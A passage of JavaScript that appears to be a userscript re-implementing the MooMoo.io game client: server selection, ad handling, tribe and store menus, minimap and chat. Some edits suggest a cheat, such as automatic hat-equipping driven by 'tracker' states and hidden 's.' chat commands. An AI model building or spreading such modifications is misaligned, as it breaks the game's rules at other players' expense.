                            alert("Captcha failed to load");
                            window.location.reload();
                        }
                    }, 20 * 1000);
                };
                unsafeWindow.captchaCallback = function() {
                    captchaReady = true;
                    //connectSocketIfReady();
                };
                gameCanvas.oncontextmenu = function() {
                    return false;
                };
                function disconnect(reason) {
                    connected = false;
                    io.close();
                    showLoadingText(reason);
                }
                function showLoadingText(text) {
                    mainMenu.style.display = "block";
                    gameUI.style.display = "none";
                    menuCardHolder.style.display = "none";
                    diedText.style.display = "none";
                    loadingText.style.display = "block";
                    loadingText.innerHTML = text +
                        "<a href='javascript:window.location.href=window.location.href' class='ytLink'>reload</a>";
                }

                // BUTTON EVENTS:
                function bindEvents() {
                    enterGameButton.onclick = UTILS.checkTrusted(function() {
                        // SHOW AD TO START GAME:
                        showPreAdIfReady();
                    });
                    UTILS.hookTouchEvents(enterGameButton);
                    promoImageButton.onclick = UTILS.checkTrusted(function() {
                        openLink('https://krunker.io/?play=SquidGame_KB');
                    });
                    UTILS.hookTouchEvents(promoImageButton);
                    joinPartyButton.onclick = UTILS.checkTrusted(function() {
                        setTimeout(function() { joinParty(); }, 10);
                    });
                    UTILS.hookTouchEvents(joinPartyButton);
                    settingsButton.onclick = UTILS.checkTrusted(function() {
                        toggleSettings();
                    });
                    UTILS.hookTouchEvents(settingsButton);
                    allianceButton.onclick = UTILS.checkTrusted(function() {
                        toggleAllianceMenu();
                    });
                    UTILS.hookTouchEvents(allianceButton);
                    storeButton.onclick = UTILS.checkTrusted(function() {
                        toggleStoreMenu();
                    });
                    UTILS.hookTouchEvents(storeButton);
                    chatButton.onclick = UTILS.checkTrusted(function() {
                        toggleChat();
                    });
                    UTILS.hookTouchEvents(chatButton);
                    mapDisplay.onclick = UTILS.checkTrusted(function() {
                        sendMapPing();
                    });
                    UTILS.hookTouchEvents(mapDisplay);
                }

                // SETUP SERVER SELECTOR:
                var gamesPerServer = 1;
                function setupServerStatus() {
                    var tmpHTML = "";
                    // ADD SERVER SELECTOR:
                    var overallTotal = 0;
                    var regionCounter = 0;
                    for (var region in vultrClient.servers) {
                        var serverList = vultrClient.servers[region];

                        // COUNT PLAYERS:
                        var totalPlayers = 0;
                        for (var i = 0; i < serverList.length; i++) {
                            for (var j = 0; j < serverList[i].games.length; j++) {
                                totalPlayers += serverList[i].games[j].playerCount;
                            }
                        }
                        overallTotal += totalPlayers;

                        // ADD REGION LABELS:
                        var regionName = vultrClient.regionInfo[region].name;
                        tmpHTML += "<option disabled>" + regionName + " - " + totalPlayers + " players</option>"

                        // ADD INDIVIDUAL SERVERS IF EXPANDED:
                        for (var serverIndex = 0; serverIndex < serverList.length; serverIndex++) {
                            var server = serverList[serverIndex];

                            // ADD INDIVIDUAL GAMES:
                            for (var gameIndex = 0; gameIndex < server.games.length; gameIndex++) {
                                var game = server.games[gameIndex];
                                var adjustedIndex = server.index * gamesPerServer + gameIndex + 1;
                                var isSelected = vultrClient.server && vultrClient.server.region === server.region && vultrClient.server.index === server.index && vultrClient.gameIndex == gameIndex;
                                var serverLabel = regionName + " " + adjustedIndex + " [" + Math.min(game.playerCount, config.maxPlayers) + "/" + config.maxPlayers + "]";
                                // var itemClass = "menuSelector" + (isSelected ? " selectedMenuSelector" : "") + (game.isPrivate ? " privateMenuSelector" : "");
                                // var onClick = game.isPrivate ? "" : "switchServer(" + region + "," + serverIndex + "," + gameIndex + ")";
                                let serverID = vultrClient.stripRegion(region) + ":" + serverIndex + ":" + gameIndex;
                                if (isSelected) partyButton.getElementsByTagName("span")[0].innerText = serverID;
                                let selected = isSelected ? "selected" : "";
                                tmpHTML += "<option value='" + serverID + "' " + selected + ">" + serverLabel + "</option>";
                            }
                        }

                        // ADD BREAK AFTER EACH SERVER:
                        tmpHTML += "<option disabled></option>";

                        // INCREMENT COUNTER:
                        regionCounter++;
                    }

                    // ADD TOTAL PLAYERS:
                    tmpHTML += "<option disabled>All Servers - " + overallTotal + " players</option>";

                    // SET HTML:
                    serverBrowser.innerHTML = tmpHTML;

                    // ALT SERVER:
                    var altServerText;
                    var altServerURL;
                    if (location.hostname == "sandbox.moomoo.io") {
                        altServerText = "Back to MooMoo";
                        altServerURL = "//moomoo.io/";
                    } else {
                        altServerText = "Try the sandbox";
                        altServerURL = "//sandbox.moomoo.io/";
                    }
                    document.getElementById("altServer").innerHTML = "<a href='" + altServerURL + "'>" + altServerText + "<i class='material-icons' style='font-size:10px;vertical-align:middle'>arrow_forward_ios</i></a>";
                }
                function updateServerList() {
                    var xmlhttp = new XMLHttpRequest();
                    var url = "/serverData";
                    xmlhttp.onreadystatechange = function() {
                        if (this.readyState == 4) {
                            if (this.status == 200) {
                                // Parse the text and set it to Vultr
                                window.vultr = JSON.parse(this.responseText);
                                vultrClient.processServers(vultr.servers);

                                // Setup servers
                                setupServerStatus();
                            } else {
                                console.error("Failed to load server data with status code:", this.status);
                            }
                        }
                    };
                    xmlhttp.open("GET", url, true);
                    xmlhttp.send();
                }

                // SERVER SELECTOR CHANGE LISTENER:
                serverBrowser.addEventListener("change", UTILS.checkTrusted(function() {
                    let parts = serverBrowser.value.split(":");
                    vultrClient.switchServer(parts[0], parts[1], parts[2]);
                }));

                /*** START CPMSTAR ***/
                // CPMSTAR:
                var preContentContainer = document.getElementById("pre-content-container");
                var cpmAd = null;
                var cpmApi = null;

                var preAdInterval = 1000 * 60 * 5; // 5 minutes
                var preAdLastShowTime = 0;
                var preAdGameCount = 0;
                function showPreAdIfReady() {
                    // Make sure the ad should be shown
                    preAdGameCount++;
                    var validGame = preAdGameCount > 1;
                    var validTime = (Date.now() - preAdLastShowTime) > preAdInterval;
                    if (validGame && validTime) {
                        preAdLastShowTime = Date.now();
                        showPreAd();
                    } else {
                        enterGame();
                    }
                }

                function showPreAd() {
                    // API FAILED TO LOAD:
                    if (!cpmstarAPI || !cpmApi) {
                        console.log("Failed to load video ad API", !!cpmstarAPI, !!cpmApi);
                        enterGame();
                        return;
                    }

                    // ATTEMPT TO LOAD OR SHOW:
                    // https://docs.google.com/document/d/e/2PACX-1vS9eMymhLHkiscofJ442dPIKmXIGD3X2bbSF723b-3Btfao70nE885OlEPkbcM2NfrRaitWL_7KtT6I/pub
                    cpmAd = new cpmApi.game.RewardedVideoView("rewardedvideo");
                    // cpmAd.addEventListener("ad_opened", function(e) {});
                    cpmAd.addEventListener("ad_closed", function(e) {
                        console.log("Video ad closed");
                        finishPreAd();
                    });
                    cpmAd.addEventListener("loaded", function(e) {
                        console.log("Video ad loaded");
                        cpmAd.show();
                    });
                    cpmAd.addEventListener("load_failed", function(e) {
                        console.log("Video ad load failed", e);
                        finishPreAd();
                    });

                    // LOAD AD:
                    cpmAd.load();

                    // SHOW PRE-AD:
                    preContentContainer.style.display = "block";
                }
                window.showPreAd = showPreAd;

                function finishPreAd() {
                    // HIDE THE AD:
                    preContentContainer.style.display = "none";

                    // CHECK AD SUCCESS:
                    enterGame();
                }
                /*** END CPMSTAR ***/

                /*** START PLAYWIRE ***/
                // // ADS:
                // var preAdInterval = 1000 * 60 * 5; // 5 minutes
                // var preAdLastShowTime = 0;
                // var preAdGameCount = 0;
                // var pendingFinish = false;
                // function showPreAd() {
                //     // Don't show if has admob
                //     if (window.admob) {
                //         enterGame();
                //         return;
                //     }

                //     // Make sure the ad should be shown
                //     preAdGameCount++;
                //     var validGame = preAdGameCount > 1;
                //     var validTime = (Date.now() - preAdLastShowTime) > preAdInterval;
                //     if (!validGame || !validTime) {
                //         enterGame();
                //         return;
                //     }

                //     // Set to pending finish
                //     pendingFinish = true;

                //     // Create the element
                //     var script = document.createElement("script");
                //     script.src = "//cdn.playwire.com/bolt/js/zeus/embed.js";
                //     script.type = "text/javascript";
                //     script.setAttribute("charset", "utf-8");
                //     script.setAttribute("data-config", "//config.playwire.com/1020124/v2/pre_content.json");
                //     script.setAttribute("data-width", "640px");
                //     script.setAttribute("data-height", "360px");
                //     script.setAttribute("data-id", "pre-content-player");
                //     script.setAttribute("data-hidden-container", 'my-content');
                //     script.setAttribute("data-onready", "window.boltEventHandlers");

                //     // Add it to the ad container
                //     var adContainer = document.getElementById("pre-content-container");
                //     adContainer.style.display = "block";
                //     adContainer.appendChild(script);

                //     // Check if the ad was blocked
                //     setTimeout(function() {
                //         let adBlocked = document.getElementById("my-content").style.display != "none";
                //         if (adBlocked) {
                //             console.log("Ad blocked");
                //             finishPreAd();
                //         } else {
                //             console.log("Ad not blocked");
                //         }
                //     }, 2.5 * 1000);

                //     // Force skip ad after 30 seconds
                //     setTimeout(function() {
                //         finishPreAd();
                //     }, 30 * 1000);
                // }
                // window.boltEventHandlers = function() {
                //     Bolt.on("pre-content-player", "showHiddenContainer", function() {
                //         finishPreAd();
                //     });
                // }
                // function finishPreAd() {
                //     if (pendingFinish) {
                //         pendingFinish = false;

                //         // Hide the ad
                //         document.getElementById("pre-content-container").style.display = "none";

                //         // Hide the content again
                //         document.getElementById("my-content").style.display = "none";

                //         // Set the ad show time
                //         preAdLastShowTime = Date.now();

                //         // Enter the game
                //         enterGame();
                //     }
                // }
                // function showPreAdIfReady() {
                //     // Enter game if using admob; otherwise show pre-ad
                //     if (window.admob) {
                //         enterGame();
                //     } else {
                //         showPreAd();
                //     }
                // }
                // window.showPreAd = showPreAd;
                /*** END PLAYWIRE ***/

                // SHOW ITEM INFO:
                function showItemInfo(item, isWeapon, isStoreItem) {
                    if (player && item) {
                        UTILS.removeAllChildren(itemInfoHolder);
                        itemInfoHolder.classList.add("visible");
                        // chatButton.classList.add("hide");
                        UTILS.generateElement({
                            id: "itemInfoName",
                            text: UTILS.capitalizeFirst(item.name),
                            parent: itemInfoHolder
                        });
                        UTILS.generateElement({
                            id: "itemInfoDesc",
                            text: item.desc,
                            parent: itemInfoHolder
                        });
                        if (isStoreItem) {

                        } else if (isWeapon) {
                            UTILS.generateElement({
                                class: "itemInfoReq",
                                text: !item.type?"primary":"secondary",
                                parent: itemInfoHolder
                            });
                        } else {
                            for (var i = 0; i < item.req.length; i += 2) {
                                UTILS.generateElement({
                                    class: "itemInfoReq",
                                    html: item.req[i] + "<span class='itemInfoReqVal'> x" + item.req[i + 1] + "</span>",
                                    parent: itemInfoHolder
                                });
                            }
                            if (item.group.limit) {
                                UTILS.generateElement({
                                    class: "itemInfoLmt",
                                    text: (player.itemCounts[item.group.id]||0) + "/" + item.group.limit,
                                    parent: itemInfoHolder
                                });
                            }
                        }
                    } else {
                        itemInfoHolder.classList.remove("visible");
                        // chatButton.classList.remove("hide");
                    }
                }

                // SHOW ALLIANCE MENU:
                var allianceNotifications = [];
                var alliancePlayers = [];
                function allianceNotification(sid, name) {
                    allianceNotifications.push({
                        sid: sid,
                        name: name
                    });
                    updateNotifications();
                }
                function updateNotifications() {
                    if (allianceNotifications[0]) {
                        var tmpN = allianceNotifications[0];
                        UTILS.removeAllChildren(noticationDisplay);
                        noticationDisplay.style.display = "block";
                        UTILS.generateElement({
                            class: "notificationText",
                            text: tmpN.name,
                            parent: noticationDisplay
                        });
                        UTILS.generateElement({
                            class: "notifButton",
                            html: "<i class='material-icons' style='font-size:28px;color:#cc5151;'>&#xE14C;</i>",
                            parent: noticationDisplay,
                            onclick: function() { aJoinReq(0); },
                            hookTouch: true
                        });
                        UTILS.generateElement({
                            class: "notifButton",
                            html: "<i class='material-icons' style='font-size:28px;color:#8ecc51;'>&#xE876;</i>",
                            parent: noticationDisplay,
                            onclick: function() { aJoinReq(1); },
                            hookTouch: true
                        });
                    } else {
                        noticationDisplay.style.display = "none";
                    }
                }
                function addAlliance(data) {
                    alliances.push(data);
                    if (allianceMenu.style.display == "block")
                        showAllianceMenu();
                }
                function setPlayerTeam(team, isOwner) {
                    if (player) {
                        player.team = team;
                        player.isOwner = isOwner;
                        if (allianceMenu.style.display == "block")
                            showAllianceMenu();
                    }
                }
                function setAlliancePlayers(data) {
                    alliancePlayers = data;
                    if (allianceMenu.style.display == "block")
                        showAllianceMenu();
                }
                function deleteAlliance(sid) {
                    for (var i = alliances.length - 1; i >= 0; i--) {
                        if (alliances[i].sid == sid)
                            alliances.splice(i, 1);
                    }
                    if (allianceMenu.style.display == "block")
                        showAllianceMenu();
                }
                function toggleAllianceMenu() {
                    resetMoveDir();
                    if (allianceMenu.style.display != "block") {
                        showAllianceMenu();
                    } else {
                        allianceMenu.style.display = "none";
                    }
                }
                function showAllianceMenu() {
                    if (player && player.alive) {
                        closeChat();
                        storeMenu.style.display = "none";
                        allianceMenu.style.display = "block";
                        UTILS.removeAllChildren(allianceHolder);
                        if (player.team) {
                            for (var i = 0; i < alliancePlayers.length; i+=2) {
                                (function(i) {
                                    var tmp = UTILS.generateElement({
                                        class: "allianceItem",
                                        style: "color:" + (alliancePlayers[i]==player.sid ? "#fff" : "rgba(255,255,255,0.6)"),
                                        text: alliancePlayers[i+1],
                                        parent: allianceHolder
                                    });
                                    if (player.isOwner && alliancePlayers[i] != player.sid) {
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            text: "Kick",
                                            onclick: function() { kickFromClan(alliancePlayers[i]); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                    }
                                })(i);
                            }
                        } else {
                            if (alliances.length) {
                                for (var i = 0; i < alliances.length; ++i) {
                                    (function(i) {
                                        var tmp = UTILS.generateElement({
                                            class: "allianceItem",
                                            style: "color:" + (alliances[i].sid==player.team ? "#fff" : "rgba(255,255,255,0.6)"),
                                            text: alliances[i].sid,
                                            parent: allianceHolder
                                        });
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            text: "Join",
                                            onclick: function() { sendJoin(i); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                    })(i);
                                }
                            } else {
                                UTILS.generateElement({
                                    class: "allianceItem",
                                    text: "No Tribes Yet",
                                    parent: allianceHolder
                                });
                            }
                        }
                        UTILS.removeAllChildren(allianceManager);
                        if (player.team) {
                            UTILS.generateElement({
                                class: "allianceButtonM",
                                style: "width: 360px",
                                text: player.isOwner? "Delete Tribe" : "Leave Tribe",
                                onclick: function() { leaveAlliance() },
                                hookTouch: true,
                                parent: allianceManager
                            });
                        } else {
                            UTILS.generateElement({
                                tag: "input",
                                type: "text",
                                id: "allianceInput",
                                maxLength: 7,
                                placeholder: "unique name",
                                ontouchstart: function(ev) {
                                    ev.preventDefault();
                                    var newValue = prompt("unique name", ev.currentTarget.value);
                                    ev.currentTarget.value = newValue.slice(0, 7);
                                },
                                parent: allianceManager
                            });
                            UTILS.generateElement({
                                tag: "div",
                                class: "allianceButtonM",
                                style: "width: 140px;",
                                text: "Create",
                                onclick: function() { createAlliance(); },
                                hookTouch: true,
                                parent: allianceManager
                            });
                        }
                    }
                }
                function aJoinReq(join) {
                    io.send("11", allianceNotifications[0].sid, join);
                    allianceNotifications.splice(0, 1);
                    updateNotifications();
                }
                function kickFromClan(sid) {
                    io.send("12", sid);
                }
                function sendJoin(index) {
                    io.send("10", alliances[index].sid);
                }
                function createAlliance() {
                    io.send("8", document.getElementById("allianceInput").value);
                }
                function leaveAlliance() {
                    allianceNotifications = [];
                    updateNotifications();
                    io.send("9");
                }

                // window.testRateLimiting = function() {
                //     setInterval(() => {
                //         if (Math.random() > 0.5) {
                //             io.send("8", "test");
                //         } else {
                //             io.send("9");
                //         }
                //     }, 50);
                // }

                // MINIMAP:
                var lastDeath;
                var minimapData;
                var mapMarker;
                var mapPings = [];
                var tmpPing;
                function MapPing() {
                    this.init = function(x, y) {
                        this.scale = 0;
                        this.x = x;
                        this.y = y;
                        this.active = true;
                    };
                    this.update = function(ctxt, delta) {
                        if (this.active) {
                            this.scale += 0.05 * delta;
                            if (this.scale >= config.mapPingScale) {
                                this.active = false;
                            } else {
                                ctxt.globalAlpha = (1-Math.max(0, this.scale/config.mapPingScale));
                                ctxt.beginPath();
                                ctxt.arc((this.x / config.mapScale) * mapDisplay.width, (this.y / config.mapScale)
                                         * mapDisplay.width, this.scale, 0, 2 * Math.PI);
                                ctxt.stroke();
                            }
                        }
                    };
                }
                function pingMap(x, y) {
                    for (var i = 0; i < mapPings.length; ++i) {
                        if (!mapPings[i].active) {
                            tmpPing = mapPings[i];
                            break;
                        }
                    }
                    if (!tmpPing) {
                        tmpPing = new MapPing();
                        mapPings.push(tmpPing);
                    }
                    tmpPing.init(x, y);
                }
                function updateMapMarker() {
                    if (!mapMarker)
                        mapMarker = {};
                    mapMarker.x = player.x;
                    mapMarker.y = player.y;
                }
                function updateMinimap(data) {
                    minimapData = data;
                }
                function renderMinimap(delta) {
                    if (player && player.alive) {
                        mapContext.clearRect(0, 0, mapDisplay.width, mapDisplay.height);

                        // RENDER PINGS:
                        mapContext.strokeStyle = "#fff";
                        mapContext.lineWidth = 4;
                        for (var i = 0; i < mapPings.length; ++i) {
                            tmpPing = mapPings[i];
                            tmpPing.update(mapContext, delta);
                        }

                        // RENDER PLAYERS:
                        mapContext.globalAlpha = 1;
                        mapContext.fillStyle = "#fff";
                        renderCircle((player.x/config.mapScale)*mapDisplay.width,
                                     (player.y/config.mapScale)*mapDisplay.height, 7, mapContext, true);
                        mapContext.fillStyle = "rgba(255,255,255,0.35)";
                        if (player.team && minimapData) {
                            for (var i = 0; i < minimapData.length;) {
                                renderCircle((minimapData[i]/config.mapScale)*mapDisplay.width,
                                             (minimapData[i+1]/config.mapScale)*mapDisplay.height, 7, mapContext, true);
                                i+=2;
                            }
                        }

                        // DEATH LOCATION:
                        if (lastDeath) {
                            mapContext.fillStyle = "#fc5553";
                            mapContext.font = "34px Hammersmith One";
                            mapContext.textBaseline = "middle";
                            mapContext.textAlign = "center";
                            mapContext.fillText("x", (lastDeath.x/config.mapScale)*mapDisplay.width,
                                                (lastDeath.y/config.mapScale)*mapDisplay.height);
                        }

                        // MAP MARKER:
                        if (mapMarker) {
                            mapContext.fillStyle = "#fff";
                            mapContext.font = "34px Hammersmith One";
                            mapContext.textBaseline = "middle";
                            mapContext.textAlign = "center";
                            mapContext.fillText("x", (mapMarker.x/config.mapScale)*mapDisplay.width,
                                                (mapMarker.y/config.mapScale)*mapDisplay.height);
                        }
                    }
                }

                // STORE MENU:
                var currentStoreIndex = 0;
                var playerItems = {};
                function changeStoreIndex(index) {
                    if (currentStoreIndex != index) {
                        currentStoreIndex = index;
                        generateStoreList();
                    }
                }
                function toggleStoreMenu() {
                    if (storeMenu.style.display != "block") {
                        storeMenu.style.display = "block";
                        allianceMenu.style.display = "none";
                        closeChat();
                        generateStoreList();
                    } else {
                        storeMenu.style.display = "none";
                    }
                }
                function updateStoreItems(type, id, index) {
                    if (index) {
                        if (!type)
                            player.tails[id] = 1;
                        else
                            player.tailIndex = id;
                    } else {
                        if (!type)
                            player.skins[id] = 1;
                        else
                            player.skinIndex = id;
                    }
                    if (storeMenu.style.display == "block")
                        generateStoreList();
                }
                function generateStoreList() {
                    if (player) {
                        UTILS.removeAllChildren(storeHolder);
                        var index = currentStoreIndex;
                        var tmpArray = index?accessories:hats;
                        for (var i = 0; i < tmpArray.length; ++i) {
                            if (!tmpArray[i].dontSell) {
                                (function(i) {
                                    var tmp = UTILS.generateElement({
                                        id: "storeDisplay" + i,
                                        class: "storeItem",
                                        onmouseout: function() { showItemInfo(); },
                                        onmouseover: function() { showItemInfo(tmpArray[i], false, true); },
                                        parent: storeHolder
                                    });
                                    UTILS.hookTouchEvents(tmp, true);
                                    UTILS.generateElement({
                                        tag: "img",
                                        class: "hatPreview",
                                        src: "../img/" + (index?"accessories/access_":"hats/hat_") + tmpArray[i].id + (tmpArray[i].topSprite?"_p":"") + ".png",
                                        parent: tmp
                                    });
                                    UTILS.generateElement({
                                        tag: "span",
                                        text: tmpArray[i].name,
                                        parent: tmp
                                    });
                                    if (index?(!player.tails[tmpArray[i].id]):(!player.skins[tmpArray[i].id])) {
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            style: "margin-top: 5px",
                                            text: "Buy",
                                            onclick: function() { storeBuy(tmpArray[i].id, index); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                        UTILS.generateElement({
                                            tag: "span",
                                            class: "itemPrice",
                                            text: tmpArray[i].price,
                                            parent: tmp
                                        })
                                    } else if ((index?player.tailIndex:player.skinIndex)==tmpArray[i].id) {
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            style: "margin-top: 5px",
                                            text: "Unequip",
                                            onclick: function() { storeEquip(0, index); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                    } else {
                                        UTILS.generateElement({
                                            class: "joinAlBtn",
                                            style: "margin-top: 5px",
                                            text: "Equip",
                                            onclick: function() { storeEquip(tmpArray[i].id, index); },
                                            hookTouch: true,
                                            parent: tmp
                                        });
                                    }
                                })(i);
                            }
                        }
                    }
                }
                function storeEquip(id, index) {
                    if(player.weapons[0] == 0 && id == 12){
                    } else {
                        storeBuy(id, index)
                    }
                    if(index != 1){
                        if(tracker.emp){
                            io.send("13c", 0, 22, 0);
                        }else if(tracker.soldier || tracker.otSoldier || tracker.trapSoldier || tracker.syncSoldier){
                            io.send("13c", 0, 6, 0);
                        } else {
                            io.send("13c", 0, id, index);
                        }
                    } else {
                        io.send("13c", 0, id, index);
                    }
                }
                function storeBuy(id, index) {
                    io.send("13c", 1, id, index);
                }
                function xn() {
                    tracker.insta = 1;
                }


                // HIDE WINDOWS:
                function hideAllWindows() {
                    storeMenu.style.display = "none";
                    allianceMenu.style.display = "none";
                    closeChat();
                }

                // PREPARE UI:
                function prepareUI() {

                    // NATIVE RESOLUTION:
                    var savedNativeValue = getSavedVal("native_resolution");
                    if (!savedNativeValue) {
                        setUseNativeResolution(typeof cordova !== "undefined"); // Only default to native if on mobile
                    } else {
                        setUseNativeResolution(savedNativeValue == "true");
                    }

                    // SHOW PING:
                    showPing = true;
                    pingDisplay.hidden = showPing;

                    // LOAD SOUND SETTING:
                    playSound = getSavedVal("moo_moosic")||0;

                    // MOBILE DOWNLOADS:
                    setInterval(function() {
                        if (window.cordova) {
                            document.getElementById("downloadButtonContainer").classList.add("cordova");
                            document.getElementById("mobileDownloadButtonContainer").classList.add("cordova");
                        }
                    }, 1000);

                    // SKIN COLOR PICKER:
                    updateSkinColorPicker();

                    // ACTION BAR:
                    UTILS.removeAllChildren(actionBar);
                    for (var i = 0; i < (items.weapons.length+items.list.length); ++i) {
                        (function(i) {
                            UTILS.generateElement({
                                id: "actionBarItem" + i,
                                class: "actionBarItem",
                                style: "display:none",
                                onmouseout: function() {
                                    showItemInfo();
                                },
                                parent: actionBar
                            });
                        })(i);
                    }
                    for (var i = 0; i < (items.list.length + items.weapons.length); ++i) {
                        (function(i) {
                            var tmpCanvas = document.createElement('canvas');
                            tmpCanvas.width = tmpCanvas.height = 66;
                            var tmpContext = tmpCanvas.getContext('2d');
                            tmpContext.translate((tmpCanvas.width / 2), (tmpCanvas.height / 2));
                            tmpContext.imageSmoothingEnabled = false;
                            tmpContext.webkitImageSmoothingEnabled = false;
                            tmpContext.mozImageSmoothingEnabled = false;
                            if (items.weapons[i]) {
                                tmpContext.rotate((Math.PI/4)+Math.PI);
                                var tmpSprite = new Image();
                                toolSprites[items.weapons[i].src] = tmpSprite;
                                tmpSprite.onload = function() {
                                    this.isLoaded = true;
                                    var tmpPad = 1 / (this.height / this.width);
                                    var tmpMlt = (items.weapons[i].iPad || 1);
                                    tmpContext.drawImage(this, -(tmpCanvas.width*tmpMlt*config.iconPad*tmpPad)/2, -(tmpCanvas.height*tmpMlt*config.iconPad)/2,
                                                         tmpCanvas.width*tmpMlt*tmpPad*config.iconPad, tmpCanvas.height*tmpMlt*config.iconPad);
                                    tmpContext.fillStyle = "rgba(0, 0, 70, 0.1)";
                                    tmpContext.globalCompositeOperation = "source-atop";
                                    tmpContext.fillRect(-tmpCanvas.width / 2, -tmpCanvas.height / 2, tmpCanvas.width, tmpCanvas.height);
                                    document.getElementById('actionBarItem' + i).style.backgroundImage = "url(" + tmpCanvas.toDataURL() + ")";
                                };
                                tmpSprite.src = ".././img/weapons/" + items.weapons[i].src + ".png";
                                var tmpUnit = document.getElementById('actionBarItem' + i);
                                tmpUnit.onmouseover = UTILS.checkTrusted(function() {
                                    showItemInfo(items.weapons[i], true);
                                });
                                tmpUnit.onclick = UTILS.checkTrusted(function() {
                                    selectToBuild(i, true);
                                });
                                UTILS.hookTouchEvents(tmpUnit);
                            } else {
                                var tmpSprite = getItemSprite(items.list[i-items.weapons.length], true);
                                var tmpScale = Math.min(tmpCanvas.width - config.iconPadding, tmpSprite.width);
                                tmpContext.globalAlpha = 1;
                                tmpContext.drawImage(tmpSprite, -tmpScale / 2, -tmpScale / 2, tmpScale, tmpScale);
                                tmpContext.fillStyle = "rgba(0, 0, 70, 0.1)";
                                tmpContext.globalCompositeOperation = "source-atop";
                                tmpContext.fillRect(-tmpScale / 2, -tmpScale / 2, tmpScale, tmpScale);
                                document.getElementById('actionBarItem' + i).style.backgroundImage = "url(" + tmpCanvas.toDataURL() + ")";
                                var tmpUnit = document.getElementById('actionBarItem' + i);
                                tmpUnit.onmouseover = UTILS.checkTrusted(function() {
                                    showItemInfo(items.list[i-items.weapons.length]);
                                });
                                tmpUnit.onclick = UTILS.checkTrusted(function() {
                                    selectToBuild(i-items.weapons.length);
                                });
                                UTILS.hookTouchEvents(tmpUnit);
                            }
                        })(i);
                    }

                    // MOBILE NAME INPUT:
                    nameInput.ontouchstart = UTILS.checkTrusted(function(e) {
                        e.preventDefault();
                        var newValue = prompt("enter name", e.currentTarget.value);
                        e.currentTarget.value = newValue.slice(0, 15);
                    });

                    // SETTINGS:
                    nativeResolutionCheckbox.checked = useNativeResolution;
                    nativeResolutionCheckbox.onchange = UTILS.checkTrusted(function(e) {
                        setUseNativeResolution(e.target.checked);
                    });
                    showPingCheckbox.checked = showPing;
                    showPingCheckbox.onchange = UTILS.checkTrusted(function(e) {
                        showPing = true;
                        pingDisplay.hidden = false
                        saveVal("show_ping", showPing ? "true" : "false");
                    });

                    // PLAY MENU SOUND:
                    // Sound.play("menu", 1, true);
                }
                function updateItems(data, wpn) {
                    if (data) {
                        if (wpn) player.weapons = data;
                        else player.items = data;
                    }
                    for (var i = 0; i < items.list.length; ++i) {
                        var tmpI = (items.weapons.length + i);
                        document.getElementById("actionBarItem" + tmpI).style.display = (settings.ae ? ([0, 3, 6, 10].indexOf(items.list[i].id)>=0) : (player.items.indexOf(items.list[i].id)>=0))?"inline-block":"none";
                    }
                    for (var i = 0; i < items.weapons.length; ++i) {
                        document.getElementById("actionBarItem" + i).style.display =
                            (player.weapons[items.weapons[i].type]==items.weapons[i].id)?"inline-block":"none";
                    }
                }
                function setUseNativeResolution(useNative) {
                    //  useNativeResolution = useNative;
                    //  pixelDensity = useNative ? (window.devicePixelRatio || 1) : 1;
                    //  nativeResolutionCheckbox.checked = useNative;
                    // saveVal("native_resolution", useNative.toString());
                    // resize();
                }
                function updateGuide() {
                    if (usingTouch) {
                        guideCard.classList.add("touch");
                    } else {
                        guideCard.classList.remove("touch");
                    }
                }

                // SETTINGS STUFF:
                function toggleSettings() {
                    if (guideCard.classList.contains("showing")) {
                        guideCard.classList.remove("showing");
                        settingsButtonTitle.innerText = "Settings";
                    } else {
                        guideCard.classList.add("showing");
                        settingsButtonTitle.innerText = "Close";
                    }
                }

                // SELECT SKIN COLOR:
                function updateSkinColorPicker() {
                    var tmpHTML = "";
                    for (var i = 0; i < config.skinColors.length; ++i) {
                        if (i == skinColor) {
                            tmpHTML += ("<div class='skinColorItem activeSkin' style='background-color:" +
                                        config.skinColors[i] + "' onclick='selectSkinColor(" + i + ")'></div>");
                        } else {
                            tmpHTML += ("<div class='skinColorItem' style='background-color:" +
                                        config.skinColors[i] + "' onclick='selectSkinColor(" + i + ")'></div>");
                        }
                    }
                    skinColorHolder.innerHTML = tmpHTML;
                }
                function selectSkinColor(index) {
                    skinColor = index;
                    updateSkinColorPicker();
                }

                // CHAT STUFF:
                var chatBox = document.getElementById("chatBox");
                var chatHolder = document.getElementById("chatHolder");
                function toggleChat() {
                    if (!usingTouch) {
                        if (chatHolder.style.display == "block") {
                            if (chatBox.value) {
                                sendChat(chatBox.value);
                            }
                            closeChat();
                        } else {
                            storeMenu.style.display = "none";
                            allianceMenu.style.display = "none";
                            chatHolder.style.display = "block";
                            chatBox.focus();
                            resetMoveDir();
                        }
                    } else {
                        setTimeout(function() { // Timeout lets the `hookTouchEvents` function exit
                            var chatMessage = prompt("chat message");
                            if (chatMessage) {
                                sendChat(chatMessage);
                            }
                        }, 1);
                    }
                    chatBox.value = "";
                }
                function sendChat(message) {
                    if (message.startsWith("s.")) {
                        if (settings[message.slice(2)] && typeof settings[message.slice(2)] === "function") {
                            settings[message.slice(2)]();
                        }
                    }
                    io.send("ch", message.slice(0, 30));
                }
                function closeChat() {
                    chatBox.value = "";
                    chatHolder.style.display = "none";
                }

                // SEND MESSAGE:
                var profanityList = ["cunt", "whore", "fuck", "shit", "faggot", "nigger",
                                     "nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex",
                                     "tits", "penis", "clit", "pussy", "meatcurtain", "jizz", "prune",
                                     "douche", "wanker", "damn", "bitch", "dick", "fag", "bastard"];
                function checkProfanityString(text) {
                    var tmpString;
                    for (var i = 0; i < profanityList.length; ++i) {
                        if (text.indexOf(profanityList[i]) > -1) {
                            tmpString = "";
                            for (var y = 0; y < profanityList[i].length; ++y) {
                                tmpString += tmpString.length?"o":"M";
                            }
                            var re = new RegExp(profanityList[i], 'g');
                            text = text.replace(re, tmpString);
                        }
                    }
                    return text;
                }
                function receiveChat(sid, message) {
                    var tmpPlayer = findPlayerBySID(sid);
                    if (tmpPlayer) {

                        tmpPlayer.chatMessage = checkProfanityString(message);
                        tmpPlayer.chatCountdown = config.chatCountdown;
                    }
                }

                // RESIZE:
